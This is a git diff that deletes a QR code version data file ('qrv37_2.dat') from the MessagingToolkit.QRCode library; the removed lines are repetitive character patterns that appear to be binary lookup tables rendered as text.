6b2cc4e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv37_2.dat +++ /dev/null @@ -1,329 +0,0 @@ -|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrq|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrq|{|{|{|{xwxwxwxwvuvuvutsrqrqrqrq|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopopopo~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqpopoponm~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqponmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}|{|{|{|{xwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}|{|{|{zyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyxwxwxwvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutststsrqpopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnm~}~}~}|{zyzyzyzyvuvuvuvurqrqrqrqpopopoponmnmnmnmnmnmnmnmghghghghfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343433330/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! - - - - nmnmnmlkghghghghfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787334343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! - - - - lklklklkghghghghfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - lklklklkghghggggfefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - lklklklkgghghghgfefedcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;:9:9:987878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:987878787434333330/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:987878765212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkhghgggggdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkghghghghdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkghghghghdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkghghghghdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkghghghghdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! lklklklkghghghghdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkghggggggdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhghghghgdcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPONMNMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSNMNMMMMMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkhgggggghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkghghghghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkghghghghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSRQRQNMNMNMNMLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! lklklklkghghghghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMMMMMMNLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    lklklklkghghghghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!    lklklklkghghghghdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNLKJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        lklklklkgggggghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        lklklklkhghghghgdcdcdcdc`_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        lklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        lklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMMMMMMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#        lklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        lklklklkgggghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        lklklklkhghgfefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        lkjijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMMMMMNMNJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96543434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:94333333421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMMMMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefedcdcdcdc`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:93434343421212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefedcdcbaba`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:98787873434343421212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;878787873434343421212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMMMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;878787873333334321212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMMMNMNMNJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUTSTSRQRQRQRQMNMNMNMNJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQMNMNMMMMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787333334340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQMMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787343434330/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787333343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343330/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!       - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787333434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - jijijihgfefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - hghghgggfefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! - - - - ggghghghfefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! - - - - ghghghghfefefefebabababa^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! - - - - YYZZ[[\\))**++,,88776655hhggffeeggffeeddssrrqqppvvwwxxyyFFGGHHII]]^^__``--..//0044332211ddccbbaaccbbaa``oonnmmllzz{{||}}JJKKLLMMaabbccdd1122334400//..--``__^^]]__^^]]\\kkjjiihh~~NNOOPPQQ !!eeffgghh55667788,,++**))\\[[ZZYY[[ZZYYXXggffeeddRRSSTTUU""##$$%%iijjkkll99::;;<< - - ((''&&%%XXWWVVUUWWVVUUTTccbbaa``VVWWXXYY&&''(())mmnnoopp==>>??@@ $$##""!!TTSSRRQQSSMMLLKK__^^]]\\ZZ[[\\]]**++,,--qqrrssttAABBCCDD PPOONNMMJJIIHHGG[[ZZYYXX^^__``aa..//0011uuvvwwxxEEFFGGHHLLKKJJIIFFEEDDCCWWVVUUTTbbccddee22334455yyzz{{||IIJJKKLLHHGGFFEEBBAA@@??SSRRQQPPffgghhii66778899~~}}~~}}||}}~~MMNNOOPP DDCCBBAA>>==<<;;OONNMMLL~~}}||jjkkllmm::;;<<==||{{zzyy{{zzyyxxQQRRSSTT!!""##$$ @@??>>==::993322KKJJIIHH{{zzyyxxnnooppqq>>??@@AAxxwwvvuuwwvvuuttUUVVWWXX%%&&''(( - - <<;;::991100//..GGFFEEDDwwvvuuttrrssttuuBBCCDDEEttssrrqqssrrqqppYYZZ[[\\))**++,,88776655--,,++**CCBBAA@@ssrrqqppvvwwxxyyFFGGHHIIppoonnmmoonnmmlk]]^^__``--..//0044332211))((''&&??>>==<>??@@ $$##""!!//..--,,__^^]]\\ZZ[[\\]]\\[[ZZYYrrqqppooYXXWWVVUxxwwvvuuqqrrssttAABBCCDD  ++**))(([[ZZYYXX^^__``aaXXWWVVUUnnmmggffUTTSSRQPttssrrqquuvvwwxxEEFFGGHH - - ''&&%%$$WWVVUUTTbbccddeeTTSSRRQQeeddccbbONMMLLKKppoonnmmyyzz{{||IIJJKKLL##""!! SSRRQQPPffgghhiiPPOONNMMaa``__^^JJIIHHGGllkkjjii}}~~MMNNOOPP OONNMMLL~~}}||jjkkllmmLLKKJJII]]\\[[ZZFFEEDDCChhggffeeQQRRSSTT!!""##$$  - -KKJJIIHH{{zzyyxxnnooppqqHHGGFFEEYYXXWWVVBBAA@@??ddccbbaaUUVVWWXX%%&&''(( - - GGFFEEDDwwvvuuttrrssttuuDDCCBBAAUUTTSSMM>>==<<;;``__^^]]YYZZ[[\\))**++,,CCBBAA@@ssrrqqppvvwwxxyy@@??>>==LLKKJJII::998765\\[[ZZYY]]^^__``--..//00 ??>>==<>==,++**))(PPOONNMM~~}}iijjkkll99::;;<< !""##$$%33221100ccbbaa`` - - 00//..--<<;;::99(''&&%%$LLKKJJII||{{zzyymmnnoopp==>>??@@%&&''(()//..--,,__^^]]\\,,++**))33221100$##""!! HHGGFFEExxwwvvuuqqrrssttAABBCCDD)**++,,- ++**))(([[ZZYYXX((''&&%%//..--,, DDCCBBAAttssrrqquuvvwwxxEEFFGGHH !!-..//001 - - ''&&%%$$WWVVUUTT$$##""!!++**))((@@??>>==ppoonnmmyyzz{{||IIJJKKLL""##$$%%12233456##""!! SSRRQQPP ''&&%%$$<<;;::99llkkjjii}}~~MMNNOOPP&&''(())7899::;;OONNMMLL~~}}|| - - ##""!! 88776655hhggffeeQQRRSSTT**++,,--<<==>>??KKJJIIHH{{zzyyxx - -44332211ddccbbaaUUVVWWXX..//0011@@AABBCCGGFFEEDDwwvvuutt 00//..--``__^^]]YYZZ[[\\223399::DDEEFFGG !!CCBBAA@@ssrrqqpp ,,++**))\\[[ZZYY]]^^__``;;<<==>>HHIIJJKK""##$$%% ??>>==<>==ppoonnmmyyzz{{||\\]]^^__fgghijkl>>??@@AA##""!! SSRRQQPP66778899!!""##$$$$%%&&''%%&&''(( - - 